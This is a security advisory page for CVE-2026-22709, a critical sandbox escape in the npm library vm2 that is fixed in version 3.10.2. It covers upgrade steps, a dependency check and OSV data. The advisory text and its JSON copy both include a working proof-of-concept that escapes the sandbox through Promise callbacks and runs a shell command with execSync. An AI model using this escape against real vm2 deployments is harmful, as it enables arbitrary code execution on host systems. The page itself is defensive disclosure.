CVE-2026-22709: Vm2 Vm2 Has A Sandbox Escape Vulnerability

CRITICAL
Advisory Identifier: GHSA-99p7-6v5w-7xg8
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CVSS 9.8
CWE-693 CWE-913 CWE-94
Published
Advisory Summary

CVE-2026-22709 is a CRITICAL (CVSS 9.8) vm2 has a sandbox escape vulnerability (CWE-693: Protection Mechanism Failure) affecting Vm2 libraries in the npm ecosystem. The issue involves vm2 has a sandbox escape. Remediation is available by upgrading affected packages to version 3.10.2.

CVE-2026-22709 at a Glance

CVE Identifier CVE-2026-22709
GHSA Identifier GHSA-99p7-6v5w-7xg8
Severity CRITICAL
CVSS v3.1 Base Score 9.8
CWE Classification CWE-693: Protection Mechanism Failure
Affected Product Vm2
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 9.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-22709

To remediate this vulnerability, upgrade all affected Vm2 dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

vm2 fixed: 3.10.2 
npm install vm2@3.10.2
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release: 

npm ls vm2

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-22709, inspect your project dependencies using npm:

npm ls vm2

Analyze the terminal output to locate any version of Vm2 in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.10.2), your application is affected.

Note: The npm ls vm2 command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-693: Protection Mechanism Failure, where the product does not use or incorrectly uses a protection mechanism that provides sufficient defense against directed attacks against the product. In Vm2, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

In vm2 for version 3.10.0, `Promise.prototype.then` `Promise.prototype.catch` callback sanitization can be bypassed. This allows attackers to escape the sandbox and run arbitrary code. ```js const { VM } = require("vm2"); const code = ` const error = new Error(); error.name = Symbol(); const f = async () => error.stack; const promise = f(); promise.catch(e => { const Error = e.constructor; const Function = Error.constructor; const f = new Function( "process.mainModule.require('child_process').execSync('echo HELLO WORLD!', { stdio: 'inherit' })" ); f(); }); `; new VM().run(code); ``` In lib/setup-sandbox.js, the callback function of `localPromise.prototype.then` is sanitized, but `globalPromise.prototype.then` is not sanitized. The return value of async functions is `globalPromise` object.

CVE-2026-22709 Affected Vm2 Versions

1 component(s)
Fixed Versions:
3.10.2
Product / Package Ecosystem Affected Versions Fixed Version
vm2
npm/vm2
npm
< 3.10.2
3.10.2

References

GitHub Advisory / Wiki ADVISORY
https://github.com/patriksimek/vm2/security/advisories/GHSA-99p7-6v5w-7xg8
NVD — CVE-2026-22709 NVD
https://nvd.nist.gov/vuln/detail/CVE-2026-22709
Security Fix Commit FIX COMMIT
https://github.com/patriksimek/vm2/commit/4b009c2d4b1131c01810c1205e641d614c322a29
Vm2 Source Repository REPOSITORY
https://github.com/patriksimek/vm2
Vm2 Release RELEASE
https://github.com/patriksimek/vm2/releases/tag/v3.10.2

Frequently Asked Questions

What is CVE-2026-22709?
CVE-2026-22709 is a security vulnerability in Vm2 involving vm2 has a Sandbox Escape under CWE-693: Protection Mechanism Failure.
Which Vm2 versions are affected?
Affected versions include releases prior to 3.10.2 across affected packages: vm2.
What version fixes CVE-2026-22709?
Upgrading to 3.10.2 (or the latest patched release for your respective branch) resolves the vulnerability.
Is vm2 affected?
Yes, vm2 is affected in releases prior to 3.10.2. Upgrade your dependency to 3.10.2 or later.
What is the CVSS score of CVE-2026-22709?
CVE-2026-22709 has a CVSS v3.1 base score of 9.8 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2026-22709?
CVE-2026-22709 is classified under CWE-693: Protection Mechanism Failure (The product does not use or incorrectly uses a protection mechanism that provides sufficient defense against directed attacks against the product.).
How can I check npm dependencies for CVE-2026-22709?
Run the dependency tree command: 'npm ls vm2'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
View Raw JSON 
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-99p7-6v5w-7xg8",
  "modified" : "2026-01-29T03:22:51Z",
  "published" : "2026-01-26T18:57:14Z",
  "aliases" : [ "CVE-2026-22709" ],
  "summary" : "vm2 has a Sandbox Escape",
  "details" : "In vm2 for version 3.10.0, `Promise.prototype.then` `Promise.prototype.catch` callback sanitization can be bypassed. This allows attackers to escape the sandbox and run arbitrary code.\n\n```js\nconst { VM } = require(\"vm2\");\n\nconst code = `\nconst error = new Error();\nerror.name = Symbol();\nconst f = async () => error.stack;\nconst promise = f();\npromise.catch(e => {\n    const Error = e.constructor;\n    const Function = Error.constructor;\n    const f = new Function(\n        \"process.mainModule.require('child_process').execSync('echo HELLO WORLD!', { stdio: 'inherit' })\"\n    );\n    f();\n});\n`;\n\nnew VM().run(code);\n```\n\nIn lib/setup-sandbox.js, the callback function of `localPromise.prototype.then` is sanitized, but `globalPromise.prototype.then` is not sanitized. The return value of async functions is `globalPromise` object.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "vm2"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.10.2"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 3.10.1"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/patriksimek/vm2/security/advisories/GHSA-99p7-6v5w-7xg8"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-22709"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/patriksimek/vm2/commit/4b009c2d4b1131c01810c1205e641d614c322a29"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/patriksimek/vm2"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/patriksimek/vm2/releases/tag/v3.10.2"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-693", "CWE-913", "CWE-94" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-01-26T18:57:14Z",
    "nvd_published_at" : "2026-01-26T22:15:55Z"
  }
}